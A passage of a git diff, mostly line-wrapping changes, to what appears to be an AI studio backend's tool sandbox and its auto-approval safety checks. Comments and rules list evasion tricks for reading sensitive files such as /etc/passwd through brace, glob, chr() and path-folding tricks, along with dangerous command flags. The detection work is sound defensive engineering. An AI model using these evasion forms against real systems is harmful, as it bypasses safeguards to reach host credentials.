'"' and prev_raw.isspace()) + ): quote = ch elif ch in "{[(": depth += 1 diff --git a/studio/backend/core/inference/tool_loop_controller.py b/studio/backend/core/inference/tool_loop_controller.py index 61643b5795..068530d363 100644 --- a/studio/backend/core/inference/tool_loop_controller.py +++ b/studio/backend/core/inference/tool_loop_controller.py @@ -323,7 +323,9 @@ class ToolLoopController: self._restrict_to_allowed = tools is not None self._tools = [copy.deepcopy(dict(tool)) for tool in (tools or [])] self._allowed_tool_names = { - name for name in (_tool_name_from_schema(tool) for tool in self._tools) if name + name + for name in (_tool_name_from_schema(tool) for tool in self._tools) + if name } self._auto_heal_tool_calls = auto_heal_tool_calls self._one_shot_tools = one_shot_tools @@ -400,7 +402,9 @@ class ToolLoopController: noop_result = noop, ) - def record_result(self, decision: ToolCallDecision, result: Any) -> ToolCallCompletion: + def record_result( + self, decision: ToolCallDecision, result: Any + ) -> ToolCallCompletion: """Record a real tool execution and return model/frontend payload helpers.""" result_text = result if isinstance(result, str) else str(result) failed = is_tool_error(result_text) diff --git a/studio/backend/core/inference/tool_stream_exec.py b/studio/backend/core/inference/tool_stream_exec.py index 9cdb21bf8a..18622d9786 100644 --- a/studio/backend/core/inference/tool_stream_exec.py +++ b/studio/backend/core/inference/tool_stream_exec.py @@ -70,7 +70,9 @@ TOOL_OUTPUT_STREAM_MAX_CHARS = 400_000 _STREAM_CAPPED_NOTICE = "\n... (further live output not streamed)\n" -def _drain_queue(q: "queue.Queue", sentinel: object, max_chars: int | None) -> tuple[str, bool]: +def _drain_queue( + q: "queue.Queue", sentinel: object, max_chars: int | None +) -> tuple[str, bool]: """Pull every currently-queued item, joining chunks in FIFO order. With ``max_chars`` set, stop concatenating at the budget and discard the @@ -170,7 +172,9 @@ def stream_tool_execution( # Heartbeats are paced by counting idle queue polls rather than a wall clock # (tests patch ``time.monotonic`` globally, so the wrapper must not read it). - idle_polls_per_heartbeat = max(1, int(round(heartbeat_interval_s / poll_interval_s))) + idle_polls_per_heartbeat = max( + 1, int(round(heartbeat_interval_s / poll_interval_s)) + ) idle_polls = 0 streamed_chars = 0 stream_capped = False diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py index bc9ffe85c2..3404fbb636 100644 --- a/studio/backend/core/inference/tools.py +++ b/studio/backend/core/inference/tools.py @@ -144,7 +144,9 @@ _BLOCKED_COMMANDS = ( ) -_SHELL_SEPARATORS = frozenset({";", "&&", "||", "|", "&", "\n", "(", ")", "`", "{", "}"}) +_SHELL_SEPARATORS = frozenset( + {";", "&&", "||", "|", "&", "\n", "(", ")", "`", "{", "}"} +) # Bash keywords starting a new command position (then $cmd, do $cmd, etc.). _SHELL_KEYWORDS_AS_SEP = frozenset({"then", "do", "else", "elif"}) # Wrappers whose next non-flag argument is the command Bash will exec. @@ -302,7 +304,9 @@ def _find_blocked_commands(command: str) -> set[str]: tok_lower = token.lower() # Match -c exactly, or combined flags ending in c (e.g. -lc, -xc) is_unix_c = tok_lower == "-c" or ( - tok_lower.startswith("-") and tok_lower.endswith("c") and not tok_lower.startswith("--") + tok_lower.startswith("-") + and tok_lower.endswith("c") + and not tok_lower.startswith("--") ) is_win_c = tok_lower == "/c" if not (is_unix_c or is_win_c) or i < 1 or i + 1 >= len(tokens): @@ -327,7 +331,9 @@ def _find_blocked_commands(command: str) -> set[str]: # Directory holding the sandbox ``sitecustomize.py`` shim (code-interpreter # path remap); placed on the sandboxed child's PYTHONPATH in _build_safe_env. -_SANDBOX_SITE_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sandbox_site") +_SANDBOX_SITE_DIR = os.path.join( + os.path.dirname(os.path.abspath(__file__)), "sandbox_site" +) # ── "Approve for me" (permission_mode="auto") safety detection ────────────── # Auto mode pauses only calls classified here as potentially unsafe. The sandbox # and hard blocks (blocklist, rlimits) still apply at run time; this gate only @@ -422,7 +428,14 @@ _AUTO_UNSAFE_COMMAND_FLAGS = { # --files0-from=F makes sort read the NUL-separated list of input files # named in F, so a crafted list reads arbitrary host files indirectly. "sort": frozenset( - {"-o", "--output", "--compress-program", "-T", "--temporary-directory", "--files0-from"} + { + "-o", + "--output", + "--compress-program", + "-T", + "--temporary-directory", + "--files0-from", + } ), "tree": frozenset({"-o"}), "xxd": frozenset({"-r"}), @@ -471,7 +484,9 @@ _AUTO_UNSAFE_COMMAND_FLAGS = { ), # fd -x/--exec/-X/--exec-batch run a command per result; # --base-directory/--search-path move the search root outside the workdir. - "fd": frozenset({"-x", "--exec", "-X", "--exec-batch", "--base-directory", "--search-path"}), + "fd": frozenset( + {"-x", "--exec", "-X", "--exec-batch", "--base-directory", "--search-path"} + ), # date -s/--set writes the clock; display forms (+FORMAT, -d/-u/-R/-r) read. "date": frozenset({"-s", "--set"}), # file -C/--compile writes a compiled .mgc magic database; ident forms read. @@ -485,7 +500,9 @@ _AUTO_UNSAFE_COMMAND_FLAGS = { _AUTO_ARG_SENSITIVE_COMMANDS = frozenset({"hostname", "date"}) # date display flags taking a value token (-d STRING, -r FILE, -f FILE); the # value is not a clock-setting positional, so it is skipped. -_DATE_DISPLAY_VALUE_FLAGS = frozenset({"-d", "--date", "-r", "--reference", "-f", "--file"}) +_DATE_DISPLAY_VALUE_FLAGS = frozenset( + {"-d", "--date", "-r", "--reference", "-f", "--file"} +) # Commands that write their 2nd positional (uniq [INPUT [OUTPUT]], xxd [infile # [outfile]]): the 1st file reads to stdout, but a second file positional # overwrites it, like `sort -o`. @@ -495,14 +512,29 @@ _AUTO_SECOND_POSITIONAL_WRITES = frozenset({"uniq", "xxd"}) # not miscounted as the output-file positional, and, conversely, a file that is # literally named with digits (uniq 123 out) is still counted. _SECOND_POSITIONAL_VALUE_FLAGS = { - "uniq": frozenset({"-f", "--skip-fields", "-s", "--skip-chars", "-w", "--check-chars"}), + "uniq": frozenset( + {"-f", "--skip-fields", "-s", "--skip-chars", "-w", "--check-chars"} + ), "xxd": frozenset( - {"-c", "--cols", "-s", "--seek", "-l", "--len", "-g", "--groupsize", "-o", "--offset"} + { + "-c", + "--cols", + "-s", + "--seek", + "-l", + "--len", + "-g", + "--groupsize", + "-o", + "--offset", + } ), } # find/fd group with (...) which resets command context, so scan every token for # these once find/fd appears anywhere. -_AUTO_UNSAFE_FIND_LIKE_FLAGS = _AUTO_UNSAFE_COMMAND_FLAGS["find"] | _AUTO_UNSAFE_COMMAND_FLAGS["fd"] +_AUTO_UNSAFE_FIND_LIKE_FLAGS = ( + _AUTO_UNSAFE_COMMAND_FLAGS["find"] | _AUTO_UNSAFE_COMMAND_FLAGS["fd"] +) # Recursive readers with an absolute-path target escape the workdir onto host # files (grep -R TOKEN /home, rg TOKEN /), so they ask. _AUTO_RECURSIVE_SEARCH = frozenset({"grep", "egrep", "fgrep", "rg", "ug", "find", "fd"}) @@ -762,7 +794,9 @@ _AUTO_UNSAFE_PY_WRITE_METHODS = frozenset( # Archive / compressed-file constructors taking the mode as their 2nd arg like # open: ZipFile(name, "w") / gzip.GzipFile(name, "w") write, so gated only in # write mode (reading a .gz is fine, so the modules are not blanket-unsafe). -_ARCHIVE_CTOR_NAMES = frozenset({"ZipFile", "TarFile", "GzipFile", "BZ2File", "LZMAFile"}) +_ARCHIVE_CTOR_NAMES = frozenset( + {"ZipFile", "TarFile", "GzipFile", "BZ2File", "LZMAFile"} +) # The stdlib module each archive constructor is imported from. _ARCHIVE_CTOR_MODULES = { "zipfile": "ZipFile", @@ -1002,7 +1036,9 @@ def _expand_shell_assignments(command: str) -> str: var, is_global, pat, rep = m.group(1), m.group(2), m.group(3), m.group(4) if var not in env or not pat: return m.group(0) - return env[var].replace(pat, rep) if is_global else env[var].replace(pat, rep, 1) + return ( + env[var].replace(pat, rep) if is_global else env[var].replace(pat, rep, 1) + ) def repl_case(m): var, op = m.group(1), m.group(2) @@ -1025,7 +1061,9 @@ def _expand_shell_assignments(command: str) -> str: command = _SHELL_PARAM_INDIRECT_RE.sub(repl_indirect, command) command = _SHELL_PARAM_REPL_RE.sub(repl_pattern, command) command = _SHELL_PARAM_CASE_RE.sub(repl_case, command) - return _SHELL_VAR_RE.sub(lambda m: env.get(m.group(1) or m.group(2), m.group(0)), command) + return _SHELL_VAR_RE.sub( + lambda m: env.get(m.group(1) or m.group(2), m.group(0)), command + ) def _expand_param_defaults(command: str) -> str: @@ -1164,7 +1202,15 @@ _PATH_CTORS = ( # (os.path.abspath('/etc') -> /etc, Path('/etc').resolve() -> /etc), so folding # through them keeps a sensitive root visible to the scan. _PATH_PASSTHROUGH_ATTRS = frozenset( - {"abspath", "normpath", "realpath", "expanduser", "expandvars", "resolve", "absolute"} + { + "abspath", + "normpath", + "realpath", + "expanduser", + "expandvars", + "resolve", + "absolute", + } ) # pathlib methods that rewrite only the final path component, so the sensitive # target is never spelled out as a literal (Path('/etc/x').with_name('passwd') @@ -1267,12 +1313,18 @@ def _folded_path( parts = [base if base is not None else "\x00"] parts += [(fold(a) or "\x00") for a in node.args] return "/".join(parts) - if isinstance(func, ast.Attribute) and func.attr in ("glob", "rglob", "iglob"): + if isinstance(func, ast.Attribute) and func.attr in ( + "glob", + "rglob", + "iglob", + ): # Path('/etc').glob('passw?') -> the receiver dir joined with the # glob pattern; _glob_token_sensitive then tests /etc/passw?. base = fold(func.value) pattern = fold(node.args[0]) if node.args else "\x00" - return (base if base is not None else "\x00") + "/" + (pattern or "\x00") + return ( + (base if base is not None else "\x00") + "/" + (pattern or "\x00") + ) if isinstance(func, ast.Attribute) and func.attr in _PATH_NAME_REWRITES: # Path('/etc/x').with_name('passwd') -> /etc/passwd; with_stem / # with_suffix rewrite only the final component. Fold to the @@ -1377,7 +1429,9 @@ def _folded_is_sensitive(folded) -> bool: # A dynamic segment (NUL) can be the "/" forming a sensitive root: # open(os.sep + "etc/passwd") folds to "\x00etc/passwd", so re-scan with # NUL as "/" (a benign "\x00data/file" -> "/data/file" stays safe). - or ("\x00" in folded and _references_sensitive_path(folded.replace("\x00", "/"))) + or ( + "\x00" in folded and _references_sensitive_path(folded.replace("\x00", "/")) + ) # A dynamic piece can also sit INSIDE a sensitive name: open('/et' + # chr(99) + '/passwd') folds to "/et\x00/passwd", which none of the above # catch. Match the literals around each NUL against a credential target, @@ -1409,10 +1463,14 @@ def _terminal_is_potentially_unsafe(command: str) -> bool: candidates = [] for c in (command, stripped, _decode_ansi_c(command)): c_param = _expand_param_defaults(c) - candidates.extend((c, c_param, _expand_braces(c_param), _expand_shell_assignments(c_param))) + candidates.extend( + (c, c_param, _expand_braces(c_param), _expand_shell_assignments(c_param)) + ) # Run both the literal and glob-sensitive scans over every candidate, so a # brace-expanded glob (cat /e{t,}c/pass?d -> /etc/pass?d) is caught. - if any(_glob_hits_sensitive(c) or _references_sensitive_path(c) for c in candidates): + if any( + _glob_hits_sensitive(c) or _references_sensitive_path(c) for c in candidates + ): return True # Newlines (and CR) separate commands in a shell but read as plain # whitespace to shlex, which would demote "ls\nrm x" to argument position. @@ -1429,7 +1487,9 @@ def _terminal_is_potentially_unsafe(command: str) -> bool: expanded_command = _expand_shell_assignments(_expand_param_defaults(command)) if expanded_command != command: try: - elexer = shlex.shlex(expanded_command, posix = True, punctuation_chars = ";&|()") + elexer = shlex.shlex( + expanded_command, posix = True, punctuation_chars = ";&|()" + ) elexer.whitespace_split = True scan_tokens = list(elexer) except ValueError: @@ -1438,7 +1498,10 @@ def _terminal_is_potentially_unsafe(command: str) -> bool: scan_tokens = tokens # find/fd group with (...) which resets command context, so a trailing # -delete/-exec could slip past; scan every token when find/fd appears. - if any(os.path.basename(t.strip(";&|()`{}")).lower() in ("find", "fd") for t in scan_tokens): + if any( + os.path.basename(t.strip(";&|()`{}")).lower() in ("find", "fd") + for t in scan_tokens + ): if any(t.split("=", 1)[0] in _AUTO_UNSAFE_FIND_LIKE_FLAGS for t in scan_tokens): return True # A recursive reader rooted outside the sandbox reads host files (grep -R @@ -1449,7 +1512,10 @@ def _terminal_is_potentially_unsafe(command: str) -> bool: # that already asks below. if any(t.startswith("/") or t.startswith("~") for t in scan_tokens): token_bases = [os.path.basename(t.strip(";&|()`{}")).lower() for t in tokens] - if any(b in _AUTO_RECURSIVE_SEARCH or b in _AUTO_RECURSIVE_LISTERS for b in token_bases): + if any( + b in _AUTO_RECURSIVE_SEARCH or b in _AUTO_RECURSIVE_LISTERS + for b in token_bases + ): return True # ls only walks the whole subtree with -R/--recursive (ls -R /home, # ls -laR /); a non-recursive ls /home lists one level and stays here. @@ -1490,7 +1556,9 @@ def _terminal_is_potentially_unsafe(command: str) -> bool: # a "--x" prefix of an unsafe long flag fails closed. is_long_abbrev = flag_head.startswith("--") and len(flag_head) > 2 for uf in _AUTO_UNSAFE_COMMAND_FLAGS.get(current_command, ()): - if flag_head == uf or (len(uf) == 2 and (token.startswith(uf) or uf[1] in cluster)): + if flag_head == uf or ( + len(uf) == 2 and (token.startswith(uf) or uf[1] in cluster) + ): return True if is_long_abbrev and uf.startswith("--") and uf.startswith(flag_head): return True @@ -1523,7 +1591,9 @@ def _terminal_is_potentially_unsafe(command: str) -> bool: elif current_command in _AUTO_ARG_SENSITIVE_COMMANDS: if pending_flag_value: pending_flag_value = False - elif raw_pos and not (current_command == "date" and raw_pos.startswith("+")): + elif raw_pos and not ( + current_command == "date" and raw_pos.startswith("+") + ): return True continue if _ASSIGNMENT_RE.match(token): @@ -1654,7 +1724,10 @@ def _python_is_potentially_unsafe(code: str) -> bool: first = call.args[0] if not (isinstance(first, ast.Constant) and isinstance(first.value, str)): return True - return first.value in _AUTO_UNSAFE_PY_ATTRS or first.value in _AUTO_UNSAFE_PY_WRITE_METHODS + return ( + first.value in _AUTO_UNSAFE_PY_ATTRS + or first.value in _AUTO_UNSAFE_PY_WRITE_METHODS + ) def _fileinput_inplace(call) -> bool: # fileinput.input(..., inplace=True) opens each file for in-place rewrite. @@ -1705,7 +1778,9 @@ def _python_is_potentially_unsafe(code: str) -> bool: # merely passed or printed (print(getattr(o, 'name'))). if isinstance(arg, ast.Name): return ( - arg.id in open_aliases or arg.id in writer_aliases or arg.id in archive_ctor_aliases + arg.id in open_aliases + or arg.id in writer_aliases + or arg.id in archive_ctor_aliases ) if isinstance(arg, ast.Attribute): return ( @@ -1800,7 +1875,9 @@ def _python_is_potentially_unsafe(code: str) -> bool: else: assign_targets = node.targets targets = [t.id for t in assign_targets if isinstance(t, ast.Name)] - attr_targets = [t.attr for t in assign_targets if isinstance(t, ast.Attribute)] + attr_targets = [ + t.attr for t in assign_targets if isinstance(t, ast.Attribute) + ] if isinstance(value, ast.Name) and value.id in open_aliases: open_aliases.update(targets) attr_open_aliases.update(attr_targets) # box.f = open @@ -1836,7 +1913,10 @@ def _python_is_potentially_unsafe(code: str) -> bool: and value.value.id in builtins_aliases ): code_exec_aliases.update(targets) # e = builtins.eval - elif isinstance(value, ast.Attribute) and value.attr in _AUTO_UNSAFE_PY_WRITE_METHODS: + elif ( + isinstance(value, ast.Attribute) + and value.attr in _AUTO_UNSAFE_PY_WRITE_METHODS + ): writer_aliases.update(targets) # s = np.save elif isinstance(value, ast.Attribute) and value.attr == "open": # A captured .open bound method (p = Path('out').open) opens a file @@ -1866,8 +1946,14 @@ def _python_is_potentially_unsafe(code: str) -> bool: elif ( isinstance(value, ast.Call) and ( - (isinstance(value.func, ast.Name) and value.func.id in partial_aliases) - or (isinstance(value.func, ast.Attribute) and value.func.attr == "partial") + ( + isinstance(value.func, ast.Name) + and value.func.id in partial_aliases + ) + or ( + isinstance(value.func, ast.Attribute) + and value.func.attr == "partial" + ) ) and value.args and _wraps_write_callable(value.args[0]) @@ -1876,7 +1962,10 @@ def _python_is_potentially_unsafe(code: str) -> bool: elif ( isinstance(value, ast.Call) and ( - (isinstance(value.func, ast.Name) and value.func.id in methodcaller_aliases) + ( + isinstance(value.func, ast.Name) + and value.func.id in methodcaller_aliases + ) or ( isinstance(value.func, ast.Attribute) and value.func.attr == "methodcaller" @@ -1891,14 +1980,20 @@ def _python_is_potentially_unsafe(code: str) -> bool: # base = '/etc' -> resolve base in a later folded path. A name # bound more than once is poisoned (\x02) so it fails closed. for t in targets: - literal_str_vars[t] = "\x02" if t in multi_assigned_names else value.value + literal_str_vars[t] = ( + "\x02" if t in multi_assigned_names else value.value + ) elif isinstance(value, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)): # p = Path('/etc'); q = p; r = os.path.join('/etc','x'): record a # fully-literal folded path so a later reuse (p / 'passwd') folds. - folded = _folded_path(value, literal_str_vars, path_ctor_aliases, pathjoin_aliases) + folded = _folded_path( + value, literal_str_vars, path_ctor_aliases, pathjoin_aliases + ) if folded is not None and "\x00" not in folded and "\x02" not in folded: for t in targets: - literal_str_vars[t] = "\x02" if t in multi_assigned_names else folded + literal_str_vars[t] = ( + "\x02" if t in multi_assigned_names else folded + ) elif isinstance(value, (ast.Tuple, ast.List)): # Destructuring binds each element like a single assignment, so an # aliased callable (f, _ = (open, print)) AND a string / path @@ -1906,30 +2001,54 @@ def _python_is_potentially_unsafe(code: str) -> bool: # the latter a path folded from base/leaf would miss the sensitive # target and auto-approve. for target in assign_targets: - if isinstance(target, (ast.Tuple, ast.List)) and len(target.elts) == len( - value.elts - ): + if isinstance(target, (ast.Tuple, ast.List)) and len( + target.elts + ) == len(value.elts): for tgt_el, val_el in zip(target.elts, value.elts): if not isinstance(tgt_el, ast.Name): continue tid = tgt_el.id - if isinstance(val_el, ast.Name) and val_el.id in open_aliases: + if ( + isinstance(val_el, ast.Name) + and val_el.id in open_aliases + ): open_aliases.add(tid) - elif isinstance(val_el, ast.Name) and val_el.id in getattr_aliases: + elif ( + isinstance(val_el, ast.Name) + and val_el.id in getattr_aliases + ): getattr_aliases.add(tid) - elif isinstance(val_el, ast.Name) and val_el.id in partial_aliases: + elif ( + isinstance(val_el, ast.Name) + and val_el.id in partial_aliases + ): partial_aliases.add(tid) - elif isinstance(val_el, ast.Name) and val_el.id in writer_aliases: + elif ( + isinstance(val_el, ast.Name) + and val_el.id in writer_aliases + ): writer_aliases.add(tid) # s, _ = (save, 1) - elif isinstance(val_el, ast.Name) and val_el.id in archive_ctor_aliases: + elif ( + isinstance(val_el, ast.Name) + and val_el.id in archive_ctor_aliases + ): archive_ctor_aliases.add(tid) # z, _ = (ZipFile, 1) - elif isinstance(val_el, ast.Constant) and isinstance(val_el.value, str): + elif isinstance(val_el, ast.Constant) and isinstance( + val_el.value, str + ): literal_str_vars[tid] = ( - "\x02" if tid in multi_assigned_names else val_el.value + "\x02" + if tid in multi_assigned_names + else val_el.value ) - elif isinstance(val_el, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr)): + elif isinstance( + val_el, (ast.Call, ast.BinOp, ast.Name, ast.JoinedStr) + ): folded = _folded_path( - val_el, literal_str_vars, path_ctor_aliases, pathjoin_aliases + val_el, + literal_str_vars, + path_ctor_aliases, + pathjoin_aliases, ) if ( folded is not None @@ -1937,7 +2056,9 @@ def _python_is_potentially_unsafe(code: str) -> bool: and "\x02" not in folded ): literal_str_vars[tid] = ( - "\x02" if tid in multi_assigned_names else folded + "\x02" + if tid in multi_assigned_names + else folded ) elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): # A callable captured as a parameter default (def f(o=open): o('x','w')) @@ -2050,13 +2171,17 @@ def _python_is_potentially_unsafe(code: str) -> bool: # dynamic segment under a sensitive dir (f'/etc/{name}'), or one # split through a literal variable (base = '/etc'; base+'/passwd'). if _folded_is_sensitive( - _folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases) + _folded_path( + node, literal_str_vars, path_ctor_aliases, pathjoin_aliases + ) ): return True elif isinstance(node, ast.Call): # A sensitive path composed via os.path.join('/etc', name). if _folded_is_sensitive( - _folded_path(node, literal_str_vars, path_ctor_aliases, pathjoin_aliases) + _folded_path( + node, literal_str_vars, path_ctor_aliases, pathjoin_aliases + ) ): return True func = node.func @@ -2176,7 +2301,10 @@ def _python_is_potentially_unsafe(code: str) -> bool: # Path('/home').glob('*') enumerates the receiver dir; # glob.glob('/home/*') enumerates the pattern's root dir. _recv = _folded_path( - func.value, literal_str_vars, path_ctor_aliases, pathjoin_aliases + func.value, + literal_str_vars, + path_ctor_aliases, + pathjoin_aliases, ) if isinstance(_recv, str) and _recv not in ("", "\x00"): _enum_dir = func.value @@ -2191,7 +2319,10 @@ def _python_is_potentially_unsafe(code: str) -> bool: _enum_dir = node.args[0] if _enum_dir is not None: _folded_dir = _folded_path( - _enum_dir, literal_str_vars, path_ctor_aliases, pathjoin_aliases + _enum_dir, + literal_str_vars, + path_ctor_aliases, + pathjoin_aliases, ) if isinstance(_folded_dir, str) and ( _folded_dir.startswith("/") @@ -2247,9 +2378,7 @@ _SQL_DDL_OBJECTS = ( ) # Modifiers between the DDL verb and object (CREATE OR REPLACE VIEW, DROP # MATERIALIZED VIEW, CREATE UNIQUE INDEX). -_SQL_DDL_MODIFIERS = ( - r"(?:(?:or\s+replace|unique|temp|temporary|global|local|materialized|recursive)\s+)*" -) +_SQL_DDL_MODIFIERS = r"(?:(?:or\s+replace|unique|temp|temporary|global|local|materialized|recursive)\s+)*" # A SQL identifier (bare, "quoted", `quoted`, [bracketed]), optionally # schema-qualified, so UPDATE "users"/public.users/ONLY .../[users] SET all hit. _SQL_IDENT = r'(?:\w+|"(?:[^"]|"")*"|`(?:[^`]|``)*`|\[[^\]]+\])' @@ -2338,7 +2467,9 @@ _GRAPHQL_COMMENT_RE = re.compile(r"#[^\n]*") # (mcp__http__get_url {"method": "DELETE"}) mutates an external service even # though its name looks read-only. GET/HEAD/OPTIONS/TRACE only read. _MUTATING_HTTP_METHODS = frozenset({"POST", "PUT", "PATCH", "DELETE"}) -_HTTP_METHOD_KEYS = frozenset({"method", "http_method", "httpmethod", "verb", "http_verb"}) +_HTTP_METHOD_KEYS = frozenset( + {"method", "http_method", "httpmethod", "verb", "http_verb"} +) def _mcp_arguments_mutate(arguments) -> bool: @@ -2354,7 +2485,9 @@ def _mcp_arguments_mutate(arguments) -> bool: bool(_MCP_ARG_MUTATION_RE.search(_sql)) or bool(_MCP_ARG_SQLITE_MUTATION_RE.search(_sql)) or bool(_MCP_ARG_SQL_FUNCTION_RE.search(_sql)) - or bool(_GRAPHQL_MUTATION_RE.search(_GRAPHQL_COMMENT_RE.sub(" ", value))) + or bool( + _GRAPHQL_MUTATION_RE.search(_GRAPHQL_COMMENT_RE.sub(" ", value)) + ) ) if isinstance(value, dict): for k, v in value.items(): @@ -2689,7 +2822,10 @@ def _is_secret_env_value(value: str) -> bool: """ if not value: return False - return _URL_USERINFO_RE.search(value) is not None or _SECRET_VALUE_RE.search(value) is not None + return ( + _URL_USERINFO_RE.search(value) is not None + or _SECRET_VALUE_RE.search(value) is not None + ) def _build_bypass_env(workdir: str) -> dict[str, str]: @@ -2763,11 +2899,18 @@ def _sandbox_preexec(): except (ValueError, OSError, AttributeError): pass try: - _resource.setrlimit(_resource.RLIMIT_FSIZE, (100 * 1024 * 1024, 100 * 1024 * 1024)) + _resource.setrlimit( + _resource.RLIMIT_FSIZE, (100 * 1024 * 1024, 100 * 1024 * 1024) + ) except (ValueError, OSError): pass try: - as_bytes = int(os.environ.get("UNSLOTH_STUDIO_SANDBOX_AS_GB", "8")) * 1024 * 1024 * 1024 + as_bytes = ( + int(os.environ.get("UNSLOTH_STUDIO_SANDBOX_AS_GB", "8")) + * 1024 + * 1024 + * 1024 + ) _resource.setrlimit(_resource.RLIMIT_AS, (as_bytes, as_bytes)) except (ValueError, OSError, AttributeError): pass @@ -2782,7 +2925,9 @@ def _sandbox_preexec(): # when the parent's hard cap is below the request. nofile = int(os.environ.get("UNSLOTH_STUDIO_SANDBOX_NOFILE", "16384")) _soft_cur, hard_cur = _resource.getrlimit(_resource.RLIMIT_NOFILE) - target = nofile if hard_cur == _resource.RLIM_INFINITY else min(nofile, hard_cur) + target = ( + nofile if hard_cur == _resource.RLIM_INFINITY else min(nofile, hard_cur) + ) _resource.setrlimit(_resource.RLIMIT_NOFILE, (target, target)) except (ValueError, OSError, AttributeError): pass @@ -2864,7 +3009,9 @@ def _get_project_workdir(session_id: str) -> str | None: from storage.studio_db import ensure_chat_project_workspace project = ensure_chat_project_workspace(project_id) except Exception: - logger.warning("Failed to resolve project sandbox for %s", session_id, exc_info = True) + logger.warning( + "Failed to resolve project sandbox for %s", session_id, exc_info = True + ) return None if not project: return None @@ -2895,7 +3042,9 @@ def _get_workdir(session_id: str | None = None) -> str: workdir = project_workdir elif session_id and _SESSION_ID_RE.match(session_id): workdir = os.path.join(sandbox_root, session_id) - if not os.path.realpath(workdir).startswith(os.path.realpath(sandbox_root) + os.sep): + if not os.path.realpath(workdir).startswith( + os.path.realpath(sandbox_root) + os.sep + ): workdir = os.path.join(sandbox_root, "_invalid") elif session_id: workdir = os.path.join(sandbox_root, "_invalid") @@ -2974,7 +3123,8 @@ TERMINAL_TOOL = { "type": "function", "function": { "name": "terminal", - "description": "Execute a terminal command and return stdout/stderr." + _SANDBOX_PATHS_NOTE, + "description": "Execute a terminal command and return stdout/stderr." + + _SANDBOX_PATHS_NOTE, "parameters": { "type": "object", "properties": { @@ -3082,7 +3232,9 @@ def _mcp_specs_for_server(server: dict, mcp_tools: list[dict]) -> list[dict]: continue # Duplicate tool names would also 400 OpenAI; drop dupes. if name in seen_names: - logger.warning("Skipping duplicate MCP tool '%s' on '%s'.", raw_name, display) + logger.warning( + "Skipping duplicate MCP tool '%s' on '%s'.", raw_name, display + ) continue seen_names.add(name) specs.append( @@ -3091,7 +3243,8 @@ def _mcp_specs_for_server(server: dict, mcp_tools: list[dict]) -> list[dict]: "function": { "name": name, "description": f"[{display}] {tool.get('description') or ''}".strip(), - "parameters": tool.get("inputSchema") or {"type": "object", "properties": {}}, + "parameters": tool.get("inputSchema") + or {"type": "object", "properties": {}}, }, } ) @@ -3110,7 +3263,9 @@ async def get_enabled_mcp_tools() -> list[dict]: # server gets re-probed -- and blocks the send for the full timeout -- on # every message. uncached = [ - s for s in servers if get_cached_tools(s["id"]) is None and not in_failure_cooloff(s["id"]) + s + for s in servers + if get_cached_tools(s["id"]) is None and not in_failure_cooloff(s["id"]) ] if uncached: results = await asyncio.gather( @@ -3206,7 +3361,9 @@ def execute_tool( output). Purely observational: the returned result string is identical with or without it. Tools without incremental output ignore it. """ - logger.info(f"execute_tool: name={name}, session_id={session_id}, timeout={timeout}") + logger.info( + f"execute_tool: name={name}, session_id={session_id}, timeout={timeout}" + ) effective_timeout = _EXEC_TIMEOUT if timeout is _TIMEOUT_UNSET else timeout if name == "search_knowledge_base": return _search_knowledge_base(arguments, rag_scope) @@ -3407,7 +3564,9 @@ def _message_token_estimate(conversation: list[dict]) -> int: return total -def _whole_doc_budget(scope: dict | None = None, conversation: list[dict] | None = None) -> int: +def _whole_doc_budget( + scope: dict | None = None, conversation: list[dict] | None = None +) -> int: try: from core.rag import config as _rag_config except Exception: # noqa: BLE001 @@ -3447,7 +3606,9 @@ def _last_user_text(conversation: list[dict]) -> str: return "" -def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> dict | None: +def build_rag_autoinject( + conversation: list[dict], rag_scope: dict | None +) -> dict | None: """Pre-retrieve the latest user turn; if a hit clears the cosine floor return ``{"events": [...], "messages": [...]}`` to splice into the loop, else ``None``. Toggle via ``rag_scope.autoinject`` (else env ``RAG_AUTOINJECT``); floor via @@ -3463,7 +3624,9 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di enabled = _autoinject_enabled() thread_id = rag_scope.get("thread_id") whole_doc_requested = ( - bool(thread_id) and not rag_scope.get("kb_id") and _thread_whole_doc_enabled(rag_scope) + bool(thread_id) + and not rag_scope.get("kb_id") + and _thread_whole_doc_enabled(rag_scope) ) if not enabled and not whole_doc_requested: return None @@ -3474,7 +3637,11 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di from storage import rag_db if not rag_db.RAG_AVAILABLE: return None - from core.rag.tool import render_sources, search_for_autoinject, whole_document_context + from core.rag.tool import ( + render_sources, + search_for_autoinject, + whole_document_context, + ) except Exception as exc: # noqa: BLE001 logger.warning("RAG auto-inject unavailable: %s", exc) return None @@ -3517,7 +3684,9 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di **_scope_retrieval_kwargs(rag_scope), ) except Exception as exc: # noqa: BLE001 - logger.warning("RAG project retrieval (whole-doc companion) failed: %s", exc) + logger.warning( + "RAG project retrieval (whole-doc companion) failed: %s", exc + ) proj = None if proj is not None: merged = sources + proj[1] @@ -3525,7 +3694,9 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di if max(1, len(merged_text) // 4) <= budget: sources = merged text = merged_text - logger.info("RAG auto-inject: whole-document context (%d chunk(s))", len(sources)) + logger.info( + "RAG auto-inject: whole-document context (%d chunk(s))", len(sources) + ) if text is None and enabled: try: @@ -3605,7 +3776,9 @@ _MAX_PDF_FETCH_BYTES = 10 * 1024 * 1024 _MAX_WEB_PDF_PAGES = 50 # Control/undecodable chars, excluding text whitespace and ESC (for ANSI logs). # Binary when they exceed 12.5%, after allowing 16 minor encoding glitches. -_BINARY_CHAR_RE = re.compile("[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1a\\x1c-\\x1f\\x7f-\\x9f\\ufffd]") +_BINARY_CHAR_RE = re.compile( + "[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1a\\x1c-\\x1f\\x7f-\\x9f\\ufffd]" +) _MIN_BINARY_CHARS = 16 _BINARY_CHAR_DIVISOR = 8 # Common binary signatures that can otherwise look text-heavy when mislabeled. @@ -4033,7 +4206,11 @@ def _fetch_url_raw( parsed = urlparse(url) if 